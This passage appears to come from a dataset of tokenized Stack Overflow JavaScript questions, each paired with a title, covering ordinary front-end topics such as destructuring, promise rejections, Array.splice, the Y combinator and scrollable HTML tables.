progress-circle '' > < span class= '' indicator hide '' > < /span > < div class= '' value '' > < span > 79 < /span > < small > % < /small > < /div > < div class= '' slice gt50 '' > < div class= '' pie '' style= '' -webkit-transform : rotate ( 284.40000000000003deg ) ; '' > < /div > < div class= '' pie fill '' > < /div > < /div > < /div > < div class= '' num '' > 3 < /div > < h6 class= '' text-ucfirst '' > service < /h6 > < /div > < div class= '' widget-overlay '' > < a href= '' # '' class= '' btn-more '' > Read More < /a > < a href= '' # '' class= '' btn-less '' > Read Less < /a > < /div > < div class= '' culture-entry '' style= '' height : 238px ; '' > < p class= '' text-ucfirst '' > One of the main values of this location is service . Many of the people at this location find fulfillment in helping others and put high value in surpassing the expectations of customers . For this reason this location is able to offer high standards in customer service. < /p > < /div > < /div > < ! -- /.widgetbox -- > < div class= '' widgetbox widget-culture blue isotope-item '' data-score= '' 71.000000000000 '' data-dimensionid= '' 15 '' style= '' position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 750px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' progress-circle '' > < span class= '' indicator hide '' > < /span > < div class= '' value '' > < span > 71 < /span > < small > % < /small > < /div > < div class= '' slice gt50 '' > < div class= '' pie '' style= '' -webkit-transform : rotate ( 255.6deg ) ; '' > < /div > < div class= '' pie fill '' > < /div > < /div > < /div > < div class= '' num '' > 4 < /div > < h6 class= '' text-ucfirst '' > structure < /h6 > < /div > < div class= '' widget-overlay '' > < a href= '' # '' class= '' btn-more '' > Read More < /a > < a href= '' # '' class= '' btn-less '' > Read Less < /a > < /div > < div class= '' culture-entry '' style= '' height : 238px ; '' > < p class= '' text-ucfirst '' > One of the principal work values at this location is structure . Most people at this location value having a clearly defined structure and having rules for how work is completed . The location tends toward being rule-bound and has a consistent and predictable work environment with clearly established procedures. < /p > < /div > < /div > < ! -- /.widgetbox -- > < div class= '' widgetbox widget-culture lightblue isotope-item '' data-score= '' 71.000000000000 '' data-dimensionid= '' 13 '' style= '' position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 1000px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' progress-circle '' > < span class= '' indicator hide '' > < /span > < div class= '' value '' > < span > 71 < /span > < small > % < /small > < /div > < div class= '' slice gt50 '' > < div class= '' pie '' style= '' -webkit-transform : rotate ( 255.6deg ) ; '' > < /div > < div class= '' pie fill '' > < /div > < /div > < /div > < div class= '' num '' > 5 < /div > < h6 class= '' text-ucfirst '' > opportunity < /h6 > < /div > < div class= '' widget-overlay '' > < a href= '' # '' class= '' btn-more '' > Read More < /a > < a href= '' # '' class= '' btn-less '' > Read Less < /a > < /div > < div class= '' culture-entry '' style= '' height : 238px ; '' > < p class= '' text-ucfirst '' > One of the most important values at this location is opportunity . Many of the people at this location value having clear pathways for advancement and appreciate the guidance and recognition they receive to identify career opportunities within your organization . Many of the employees at this location are motivated by the knowledge that their contributions are noticed and that opportunities for promotion are provided. < /p > < /div > < /div > < ! -- /.widgetbox -- > < /div > < div class= '' listing listing-culture-teams isotope loaded '' style= '' position : relative ; height : 111px ; '' > < div class= '' widgetbox widget-team isotope-item '' data-t= '' 1 '' style= '' height : 69px ; position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 0px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' label-new '' > New < /div > < h6 > < a href= '' # '' class= '' text-capitalize '' > My Team < /a > < /h6 > < /div > < div class= '' member-thumbs '' > < div class= '' member-limiter '' > < /div > < div class= '' member-thumb purple3 `` > < span class= '' m-mask '' > < /span > < span class= '' m-check '' > < /span > < img src= '' /files/image/7AF5A396-D339-4E86-9D80-682133C47C5F/30 '' alt= '' Eric Miller '' > < /div > < /div > < div class= '' widget-overlay '' > < span class= '' flaticon solid battery-charging-3 '' > < /span > < /div > < div class= '' widget-bar '' > < a href= '' # '' class= '' primary turn-off '' > < span class= '' flaticon stroke logout-1 '' > < /span > < span class= '' flaticon solid battery-charging-3 '' > < /span > < /a > < a href= '' /modal/editteam/1 '' data-popup= '' '' > < span class= '' flaticon stroke compose-1 '' > < /span > edit < /a > < a href= '' /culture/teams/1 '' > < span class= '' flaticon stroke activity-monitor-1 '' > < /span > values < /a > < /div > < /div > < ! -- /.widgetbox -- > < div class= '' widgetbox widget-team off isotope-item '' data-t= '' 2 '' style= '' height : 69px ; position : absolute ; left : 0px ; top : 0px ; -webkit-transform : translate3d ( 250px , 0px , 0px ) ; '' > < div class= '' widget-head '' > < div class= '' label-new '' > New < /div > < h6 > < a href= '' # '' class= '' text-capitalize '' > VT2 < /a > < /h6 > < /div > < div class= '' member-thumbs '' > < div class= '' member-limiter '' > < /div > < /div > < div class= '' widget-overlay '' > < span class= '' flaticon solid battery-charging-3 '' > < /span > < /div > < div class= '' widget-bar '' > < a href= '' /modal/editteam/2 '' data-popup= '' '' > < span class= '' flaticon stroke compose-1 '' > < /span > edit < /a > < a href= '' /culture/teams/2 '' > < span class= '' flaticon stroke activity-monitor-1 '' > < /span > values < /a > < /div > < /div > < ! -- /.widgetbox -- > < /div > < /div >",Dynamic HTML not displaying correctly with Isotope "JS : I thought to swap the elements of a tuple in place using destructuring assignment as follows : However , this yields [ 1 , 1 ] .Babel compiles this asI would have thought this should be compiled asTraceur behaves identically to babel . So I guess this is the specified behavior ? I want to swap the two elements in place . So is the only way ... But I thought the above was what destructuring assignment was supposed to let me avoid having to do . I 'm perfectly capable of reversing the order of the two elements of the array , so that is not my question . I could do something as simple as a.push ( a.shift ( ) ) , which meets the criteria of the swapping being in-place.I 'm most interested here in why destructuring does n't work the way it seems that it ought to . var a = [ 1,2 ] ; [ a [ 1 ] , a [ 0 ] ] = a ; a [ 1 ] = a [ 0 ] ; a [ 0 ] = a [ 1 ] ; let tmp0 = a [ 0 ] ; let tmp1 = a [ 1 ] ; a [ 0 ] = tmp1 ; a [ 1 ] = tmp0 ; let tmp = a [ 0 ] ; a [ 0 ] = a [ 1 ] ; a [ 1 ] = tmp ;",Swap tuple elements with destructuring assignments "JS : I have a big array and I need to render it into a table . Instead of rendering all items I am rendering only few items horizontally and vertically . Then on scroll based on mouse scroll whether happened vertical / horizontal updating table values . But I have two problems in this Here are problems with my code When scrolling horizontally data is not updated.Scrolling horizontally is flickering the screen also.Horizontal elements are not aligned properly.Here is the jsbin link http : //jsbin.com/oSOsIQe/2/editHere is the JS code , I know code is not clean but I will clean it later.Please help me on this . var $ matrix = ( function ( ) { function $ matrix ( data , holder , hidescrollbar , config ) { var header_h = config.header || `` 150px '' ; var data_h = config.header || `` 90px '' ; ! data & & ( function ( ) { // Fake Data , will be removed later data = new Array ( 50000 ) ; for ( var i = 0 , l = data.length ; i < l ; i++ ) { var dummy = Math.random ( ) .toString ( 36 ) .substring ( 5 ) ; var dum = [ ] ; for ( var j = 0 ; j < 26 ; j++ ) { dum.push ( dummy + i ) ; } data [ i ] = dum ; } } ( ) ) ; hidescrollbar = hidescrollbar || false ; var heightForcer = holder.appendChild ( document.createElement ( 'div ' ) ) ; heightForcer.id = `` heightForcer '' ; var view = null ; //get the height of a single item var dimensions = ( function ( ) { //generate a fake item and calculate dimensions of our targets var div = document.createElement ( 'div ' ) ; div.style.height = `` auto '' ; div.innerHTML = `` < div class='rowHeader ' > fake < /div > < div class='rowData ' > fake < /div > '' ; holder.appendChild ( div ) ; var output = { row : div.firstChild.offsetHeight , header : div.firstChild.offsetWidth , data : div.lastChild.offsetWidth } holder.removeChild ( div ) ; return output ; } ) ( ) ; function refreshWindow ( ) { //remove old view if ( view ! = null ) { view.innerHTML = `` '' ; } else { //create new view view = holder.appendChild ( document.createElement ( 'div ' ) ) ; } var firstItem = Math.floor ( holder.scrollTop / dimensions.row ) ; var lastItem = firstItem + Math.ceil ( holder.offsetHeight / dimensions.row ) + 1 ; if ( lastItem + 1 > = data.length ) lastItem = data.length - 1 ; var hfirstItem = Math.floor ( holder.scrollLeft / dimensions.data ) ; var hlastItem = hfirstItem + Math.ceil ( holder.offsetWidth / dimensions.data ) + 1 ; if ( hlastItem + 1 > = data [ firstItem ] .length ) hlastItem = data [ firstItem ] .length - 1 ; //position view in users face view.id = 'view ' ; view.style.top = ( firstItem * dimensions.row ) + 'px ' ; view.style.left = ( hfirstItem * dimensions.data ) + 'px ' ; var div ; //add the items for ( var index = firstItem ; index < = lastItem ; ++index ) { div = document.createElement ( 'div ' ) ; var curData = data [ index ] .slice ( hfirstItem , hlastItem ) ; div.innerHTML = ' < div class= '' rowHeader '' > ' + curData.join ( ' < /div > < div class= '' rowData '' > ' ) + `` < /div > '' ; div.className = `` listItem '' ; div.style.height = dimensions.row + `` px '' ; view.appendChild ( div ) ; } console.log ( 'viewing items ' + firstItem + ' to ' + lastItem ) ; } heightForcer.style.height = ( data.length * dimensions.row ) + 'px ' ; heightForcer.style.width = ( data [ 0 ] .length * dimensions.data ) + 'px ' ; if ( hidescrollbar ) { //work around for non-chrome browsers , hides the scrollbar holder.style.width = ( holder.offsetWidth * 2 - view.offsetWidth ) + 'px ' ; } refreshWindow ( ) ; function delayingHandler ( ) { //wait for the scroll to finish //setTimeout ( refreshWindow , 10 ) ; refreshWindow ( ) ; } if ( holder.addEventListener ) holder.addEventListener ( `` scroll '' , delayingHandler , false ) ; else holder.attachEvent ( `` onscroll '' , delayingHandler ) ; } return $ matrix ; } ( ) ) ; new $ matrix ( undefined , document.getElementById ( 'listHolder ' ) , false , { header : `` 150px '' , data : `` 90px '' , headerColumns : 2 } ) ;",Horizontal data update is not working on scroll JS : I 'm trying to get for example loadEventEnd time in console . You can do it by performance timing 2 API or performance timing API.I get the same results by doing this calculations : But in Timeline tab in devtools I get result 510 ms.Differences are shown in this picture : This problem occurs on the others sites : in console I always get shorter times than in Timeline tab.Can someone explain this difference ? Which one time is real ? performance.getEntriesByType ( `` navigation '' ) [ 0 ] .loadEventEnd// 483.915chrome.loadTimes ( ) .finishLoadTime * 1000 - chrome.loadTimes ( ) .startLoadTime * 1000 // 484performance.timing.loadEventEnd - performance.timing.navigationStart// 484,Chrome - Difference between event time in devtools timeline and performance timing API "JS : I seem to miss something about the constructor chain inheritance in Javascript , with native objects . For example : Why myerror.message is defined as `` '' after those statements ? I would expect the Error constructor to define it as `` Help ! '' ( and override the default value of Error.prototype.message ) , like if I was doing : Thanks a lot ! function ErrorChild ( message ) { Error.call ( this , message ) ; } ErrorChild.prototype = Object.create ( Error.prototype ) ; var myerror = new ErrorChild ( `` Help ! `` ) ; var myerror = new Error ( `` Help ! '' )",Inheritance from native objects "JS : I am trying to preload images , the following code works : But the issue I would like to solve , is that Chrome displays the spinning `` Loading '' icon in the tab . Is there a way I can do this so it does n't continuously spin until the images have loaded ? I would like for the page and thumbnails to load then start loading the larger images in the background without the spinning icon in the tab . $ ( document ) .ready ( function ( ) { $ ( `` .member-photos img '' ) .each ( function ( ) { var id = $ ( this ) .attr ( `` data-id '' ) ; var file = $ ( this ) .attr ( `` data-file '' ) ; var img = new Image ( ) ; img.src = `` /user-data/images/image.php ? id= '' +id+ '' & file= '' +file+ '' & width=600 & crop=false '' ; } ) ; } ) ;",JavaScript Preload Images "JS : I am compiling the code with babel ( env ) , compiling down to ES5.Here 's the code : ( async ( ) = > { const p = async ( ) = > { return new Proxy ( { } , { get : ( target , property ) = > { console.log ( property ) ; } } ) } ; const r = await p ( ) ; // await calls .then on the result of p ( ) } ) ( ) ;",Why does 'await ' trigger '.then ( ) ' on a Proxy returned by an 'async ' function ? "JS : I would like to write a function in JS that takes lists of names as arguments and is able to group by and aggregate by the specified column names . For example , my data might look like : I can group and aggregate this data like this : However , I would like this to be more dynamic so that I do n't have to write an if-else statement for all the possible combinations of groupings and aggregations . The following code shows something that I would like to get working , but currently does not . Expected output might look like this : Ideally , I would like to be able to pass in any number of column names to group by or to be aggregated . Any help would be greatly appreciated . const SALES = [ { lead : 'Mgr 1 ' , revenue : 49.99 , repName : 'Rep 1 ' , forecast : 81.00 } , { lead : 'Mgr 1 ' , revenue : 9.99 , repName : 'Rep 1 ' , forecast : 91.00 } , { lead : 'Mgr 1 ' , revenue : 9.99 , repName : 'Rep 13 ' , forecast : 82.00 } , { lead : 'Mgr 2 ' , revenue : 99.99 , repName : 'Rep 3 ' , forecast : 101.00 } , { lead : 'Mgr 2 ' , revenue : 9.99 , repName : 'Rep 5 ' , forecast : 89.00 } , { lead : 'Mgr 3 ' , revenue : 199.99 , repName : 'Rep 6 ' , forecast : 77.00 } ] ; let grouped = { } ; SALES.forEach ( ( { lead , repName , revenue } ) = > { grouped [ [ lead , repName ] ] = grouped [ [ lead , repName ] ] || { lead , repName , revenue : 0 } ; grouped [ [ lead , repName ] ] .revenue = +grouped [ [ lead , repName ] ] .revenue + ( +revenue ) ; } ) ; grouped = Object.values ( grouped ) ; console.warn ( 'Look at this : \n ' , grouped ) ; function groupByTotal ( arr , groupByCols , aggregateCols ) { let grouped = { } ; arr.forEach ( ( { groupByCols , aggregateCols } ) = > { grouped [ groupByCols ] = grouped [ groupByCols ] || { groupByCols , aggregateCols : 0 } ; grouped [ groupByCols ] .aggregateCols = +grouped [ groupByCols ] .aggregateCols + ( +aggregateCols ) ; } ) ; grouped = Object.values ( grouped ) ; return grouped ; } groupByTotal ( SALES , [ 'lead ' , 'repName ' ] , 'revenue ' ) [ { lead : `` Mgr 1 '' , repName : `` Rep 1 '' , revenue : 59.98 } , { lead : `` Mgr 1 '' , repName : `` Rep 13 '' , revenue : 9.99 } , { lead : `` Mgr 2 '' , repName : `` Rep 3 '' , revenue : 99.99 } , { lead : `` Mgr 2 '' , repName : `` Rep 5 '' , revenue : 9.99 } , { lead : `` Mgr 3 '' , repName : `` Rep 6 '' , revenue : 199.99 } ]",Group and aggregate array of objects by key names "JS : I know that there are several ways to define a function in JavaScript . Two of the most common ones are : I am comfortable with the idea of a function as an object that can be passed around just like any other variable . So I understand perfectly what ( 2 ) is doing . It 's creating a function and assigning to add ( let 's say this is in the global scope , so add is a global variable ) the said function . But then what is happening if I use ( 1 ) instead ? I already know that it makes a difference in execution order : if I use ( 1 ) then I can refer to add ( ) before the point in the code where add ( ) is defined , but if I use ( 2 ) then I have to assign my function to add before I can start referring to add ( ) .Is ( 1 ) just a shortcut for ( 2 ) , albeit one that happens to behave like other C-style languages in allowing us to define a function `` below '' the point at which it 's used ? Or is it internally a different type of function ? Which is more `` in the spirit '' of JavaScript ( if that is n't too vague a term ) ? Would you restrict yourself to one or the other , and if so which one ? ( 1 ) function add ( a , b ) { return a + b ; } ( 2 ) var add = function ( a , b ) { return a + b ; }",What 's going on in JavaScript when I use the `` traditional '' C-style function declaration ? "JS : Please note : The following is an issue that behaves differently on different browsers . So perhaps this is a browser implementation issue . I would love some advice regardless.In my application , I am creating a couple of promises that I may not be consuming until quite some time in the future . Which should be fine , they are promises , after all.If the promise being stored away is resolved , there is no issue . I can consume it as far in the future as I want , and as many times as I want . As expected.If the promise being stored away is rejected , however , there is an issue . Unless I consume that rejection shortly after it is made ( not sure how shortly ) a console message will crop up in Chrome or Firefox indicating that there is an uncaught promise rejection/error . IE does not pop up that error.So consider the following code : Note that there is no use or consumption of the promise foo . It is merely stored away for some future use.The console on IE looks like this : About to make a promise rejection.Promise rejection made.Which is expected . However , the same code on Chrome will yield the following console : About to make a promise rejection.Promise rejection made.Uncaught ( in promise ) Error : Foo Rejected Promise . ( … ) Firefox looks pretty much like Chrome , other than the wording around the `` uncaught '' error.But the thing is that I intend to handle this `` error '' much later , at the time I am consuming the promise . Merely HAVING a rejected promise should not cause a console error ... .. that should happen if I consume the promise and do n't handle the error.To simulate a `` much later '' handling of the error , consider this alteration of the code : Now in this case , we `` handle '' the error by displaying something on the console after a timeout . Now IE still handles this as I would expect : About to make a promise rejection.Promise rejection made.Displaying Foo Rejected Promise . 10 seconds later.In this case , Firefox does like IE , and displays exactly these messages , and does not give me an erroneous console error.Chrome , however , still gives the erroneous error : About to make a promise rejection.Promise rejection made.Uncaught ( in promise ) Error : Foo Rejected Promise . ( … ) Displaying Foo Rejected Promise . 10 seconds later.So Chrome both complained about my error not being handled , and then displayed that it was handled.It appears that I can get around all this with the following code that that seems like a hack . Basically I do a `` fake '' handling of the error when the promise is created and then really handle it the way I want to later : But this is ugly code.My question is twofold - is there some way of looking at what Chrome ( and to some extent FireFox ) is doing and think of it as a favor ? Because to me it seems awful . And secondly , is there a better way of getting around this than the hack of pretending to handle an error when you are n't ? Thanks in advance . console.log ( `` About to make a promise rejection . `` ) ; var foo = Promise.reject ( new Error ( `` Foo Rejected Promise . `` ) ) ; console.log ( `` Promise rejection made . `` ) ; console.log ( `` About to make a promise rejection . `` ) ; var foo = Promise.reject ( new Error ( `` Foo Rejected Promise . `` ) ) ; console.log ( `` Promise rejection made . `` ) ; setTimeout ( ( ) = > { foo.catch ( ( err ) = > { console.log ( `` Displaying `` + err.message + `` 10 seconds later . `` ) ; } ) ; } , 10000 ) ; console.log ( `` About to make a promise rejection . `` ) ; var foo = Promise.reject ( new Error ( `` Foo Rejected Promise . `` ) ) ; foo.catch ( ( ) = > { } ) ; // Added this hack-ish code.console.log ( `` Promise rejection made . `` ) ; setTimeout ( ( ) = > { foo.catch ( ( err ) = > { console.log ( `` Displaying `` + err.message + `` 10 seconds later . `` ) ; } ) ; } , 10000 ) ;",Why does my ES6 Promise Rejection need to be consumed immediately to avoid a console error message ? "JS : According to this explanation in MDN : in the global context , this refers to the global objectin the function context , if the function is called directly , it again refers to the global objectYet , the following : ... placed in file foo.js produces : var globalThis = this ; function a ( ) { console.log ( typeof this ) ; console.log ( typeof globalThis ) ; console.log ( 'is this the global object ? '+ ( globalThis===this ) ) ; } a ( ) ; $ nodejs foo.js objectobjectis this the global object ? false",` this ` in global context and inside function "JS : I was experimenting with the splice ( ) method in jconsoleHere , a is a simple array from 1 to 10.And this is bWhen I pass the array b to the third argument of splice , I mean `` remove the first two arguments of a from index zero , and replace them with the b array '' . I 've never seen passing an array as splice ( ) 's third argument ( all the guide pages I read talk about a list of arguments ) , but , well , it seems to do the trick . [ 1,2 ] are removed and now a is [ a , b , c,3,4,5,6,7,8,9,10 ] . Then I build another array , which I call c : And try to do the same : This time , 4 ( instead of 2 ) elements are removed [ a , b , c,3 ] and the c array is added at the beginning . Someone knows why ? I 'm sure the solution is trivial , but I do n't get it right now . a = [ 1,2,3,4,5,6,7,8,9,10 ] 1,2,3,4,5,6,7,8,9,10 b = [ ' a ' , ' b ' , ' c ' ] a , b , c a.splice ( 0 , 2 , b ) 1,2aa , b , c,3,4,5,6,7,8,9,10 c = [ 'one ' , 'two ' , 'three ' ] one , two , three a.splice ( 0 , 2 , c ) a , b , c,3aone , two , three,4,5,6,7,8,9,10",Funny behaviour of Array.splice ( ) "JS : The Wikipedia article on the Y combinator provides the following JavaScript implementation of the Y combinator : The existence of a Y combinator in JavaScript should imply that every JavaScript function has a fixed point ( since for every function g , Y ( g ) and g ( Y ( g ) ) should be equal ) .However , it is n't hard to come up with functions without fixed points that violate Y ( g ) = g ( Y ( g ) ) ( see here ) . Even certain functionals do not have fixed points ( see here ) .How does the proof that every function has a fixed point reconcile with the given counter-examples ? Is JavaScript not an untyped lambda calculus in which the proof that Y ( g ) = g ( Y ( g ) ) applies ? function Y ( f ) { return ( ( function ( x ) { return f ( function ( v ) { return x ( x ) ( v ) ; } ) ; } ) ( function ( x ) { return f ( function ( v ) { return x ( x ) ( v ) ; } ) ; } ) ) ; }",Y combinator : Some functions do not have fixed points "JS : I want to make an infinite animation to a div.I succeed to make an infinite moving div but it does n't appear as a consistent animation . The div is moving then call the function again and move again , you see can when the animation stop and when it starts again.This is the code I did : I hope I explained myself correctly . this.movePipesHolder = function ( ) { this.pos=this.pos-10 ; parent=this ; $ ( ' # pipesHolder ' ) .animate ( { `` left '' : this.pos } , function ( ) { parent.movePipesHolder ( ) ; } ) ; }",Make an infinite animation jQuery "JS : I have this scrollable table and notice that it only move its tbody not its thead and that 's how it should be , but the scrollbar is inside the table which makes the thead and the tbody disarrange , so I had an idea to move the scrolllbar to outside the table , but I do n't know how to do it to a scrollbar . Can you tell me how I can do it ? `` Live long and prosper '' From thisTo this function removeClassName ( elem , className ) { elem.className = elem.className.replace ( className , `` '' ) .trim ( ) ; } function addCSSClass ( elem , className ) { removeClassName ( elem , className ) ; elem.className = ( elem.className + `` `` + className ) .trim ( ) ; } String.prototype.trim = function ( ) { return this.replace ( /^\s+|\s+ $ / , `` '' ) ; } ; function stripedTable ( ) { if ( document.getElementById & & document.getElementsByTagName ) { var allTables = document.getElementsByTagName ( 'table ' ) ; if ( ! allTables ) { return ; } for ( var i = 0 ; i < allTables.length ; i++ ) { if ( allTables [ i ] .className.match ( / [ \w\s ] *scrollTable [ \w\s ] */ ) ) { var trs = allTables [ i ] .getElementsByTagName ( `` tr '' ) ; for ( var j = 0 ; j < trs.length ; j++ ) { removeClassName ( trs [ j ] , 'alternateRow ' ) ; addCSSClass ( trs [ j ] , 'normalRow ' ) ; } for ( var k = 0 ; k < trs.length ; k += 2 ) { removeClassName ( trs [ k ] , 'normalRow ' ) ; addCSSClass ( trs [ k ] , 'alternateRow ' ) ; } } } } } function calcTh ( ) { var table = document.getElementsByTagName ( table ) ; for ( var i = 0 ; i < table.length ; i++ ) { table [ i ] .width = ( 100 / table.length ) + `` % '' ; } } function calc ( ) { var table = document.getElementById ( `` Stable '' ) ; var w = table.offsetWidth ; //total width of the table for ( var y = 0 ; y < table.rows.length ; y++ ) { // cycle through rows var row = table.rows [ y ] ; for ( var x = 0 ; x < row.cells.length ; x++ ) { // cycle through cells var cell = row.cells [ x ] ; cell.style.width = ( w / row.cells.length ) + `` px '' ; // add 'px ' for a unit } } } window.onload = function ( ) { stripedTable ( ) ; calc ( ) ; } ; window.onresize = function ( ) { stripedTable ( ) ; calcTh ( ) ; calc ( ) ; } ; th { word-break : break-all ; } html { width : 100 % ; height : 100 % ; overflow : hidden ; } body { background : # FFF ; color : # 000 ; font : normal normal 12px Verdana , Geneva , Arial , Helvetica , sans-serif ; margin : 10px ; padding : 0 ; } table , td , a { color : # 000 ; font : normal normal 12px Verdana , Geneva , Arial , Helvetica , sans-serif } h1 { font : normal normal 18px Verdana , Geneva , Arial , Helvetica , sans-serif ; margin : 0 0 5px 0 } div.tableContainer { clear : both ; border : 1px solid # 963 ; height : 285px ; overflow : auto ; width : 100 % ; } html > body div.tableContainer { overflow : hidden ; width : 100 % ; height : 100 % ; } div.tableContainer table { float : left ; width : 100 % ; } html > body div.tableContainer table { width : 100 % ; } thead.fixedHeader tr { position : relative } html > body thead.fixedHeader tr { display : block } thead.fixedHeader th { background : # C96 ; border-left : 1px solid # EB8 ; border-right : 1px solid # B74 ; border-top : 1px solid # EB8 ; font-weight : normal ; padding : 4px 3px ; text-align : left } thead.fixedHeader a , thead.fixedHeader a : link , thead.fixedHeader a : visited { color : # FFF ; display : block ; text-decoration : none ; width : 100 % } thead.fixedHeader a : hover { color : # FFF ; display : block ; text-decoration : underline ; width : 100 % } html > body tbody.scrollContent { display : block ; height : 262px ; overflow : auto ; width : 100 % } /* make TD elements pretty . Provide alternating classes for striping the table *//* http : //www.alistapart.com/articles/zebratables/ */tbody.scrollContent td , tbody.scrollContent tr.normalRow td { background : # FFF ; border-bottom : none ; border-left : none ; border-right : 1px solid # CCC ; border-top : 1px solid # DDD ; padding : 2px 3px 3px 4px } tbody.scrollContent tr.alternateRow td { background : # EEE ; border-bottom : none ; border-left : none ; border-right : 1px solid # CCC ; border-top : 1px solid # DDD ; padding : 2px 3px 3px 4px } < html xmlns= '' http : //www.w3.org/1999/xhtml '' xml : lang= '' en '' lang= '' en '' > < head > < title > Pure CSS Scrollable Table with Fixed Header < /title > < meta http-equiv= '' content-type '' content= '' text/html ; charset=UTF-8 '' > < meta http-equiv= '' language '' content= '' en-us '' > < style type= '' text/css '' > < /style > < /head > < body > < h1 > Pure CSS Scrollable Table with Fixed Header < /h1 > < div id= '' tableContainer '' class= '' tableContainer '' > < table border= '' 0 '' cellpadding= '' 0 '' cellspacing= '' 0 '' width= '' 100 % '' class= '' scrollTable '' id= '' Stable '' > < thead class= '' fixedHeader '' > < tr class= '' alternateRow '' > < th > < a href= '' # '' > Header 1ahjsgdhjagsdhjgahjsdghjasgdhjagshjdgahjsdghjagsdhj < /a > < /th > < th > < a href= '' # '' > Header 2 < /a > < /th > < th > < a href= '' # '' > Header 3 < /a > < /th > < /tr > < /thead > < tbody class= '' scrollContent '' > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < /td > < td > Cell Content 2 < /td > < td > Cell Content 3 < /td > < /tr > < tr class= '' alternateRow '' > < td > More Cell Content 1 < /td > < td > More Cell Content 2 < /td > < td > More Cell Content 3 < /td > < /tr > < tr class= '' normalRow '' > < td > Cell Content 1 < 